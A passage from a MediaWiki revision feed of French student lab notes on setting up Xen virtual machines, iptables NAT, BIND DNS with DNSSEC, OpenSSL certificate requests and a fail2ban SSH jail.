&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour lancer le service il faut rentrer la cmd suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12011</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12011"/>
		<updated>2026-02-02T09:50:47Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11991</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11991"/>
		<updated>2026-02-02T08:09:44Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
